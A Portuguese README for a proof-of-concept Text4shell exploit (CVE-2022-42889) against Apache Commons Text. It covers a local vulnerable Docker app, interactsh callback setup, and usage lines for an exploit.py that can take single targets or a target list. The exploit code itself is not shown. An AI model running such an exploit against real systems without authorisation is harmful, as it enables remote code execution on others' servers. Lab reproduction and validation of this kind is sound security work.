Text4shell-exploit

Este é uma Prova de Conceito explorando a vulnerabilidade no Apache Commons Text [CVE-2022-42889]

Versões vulneráveis : 1.5.0 a (não incluindo) 1.10.0

Impacto

A exploração bem-sucedida desta vulnerabilidade permite que um atacante não autenticado execute código arbitrário no ativo vulnerável

Aplicação vulnerável para verificar a PoC

Aplicação desenvolvida por @securekomodo, está anexada aqui.

Docker

Esta aplicação também pode ser carregada a partir do docker-registry

docker run -p 8080:8080 gokul2/text4shell-poc:latest

A aplicação estará disponível em localhost:8080 agora.

Validação

Para verificar a Execução Arbitrária de Comandos, usamos interactsh, uma ferramenta para capturar interações OOB por @projectdiscovery.

Configurando o Interactsh-client

Configure o cliente interactsh antes de executar o exploit propriamente dito.

docker run projectdiscovery/interactsh-client:latest

Anote o domínio listado após iniciar a aplicação

[INF] Listing 1 payload for OOB Testing
[INF] xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.oast.pro

Uso

python3 exploit.py -u [host] -i [input-file-with-targets] -v [interactsh client domain] -p [proxy(optional)]
python3 exploit.py -u [host] -t [single target path] -v [interactsh client domain] -p [proxy(optional)]

Verificação

Verifique os logs no interactsh-client para validar o exploit.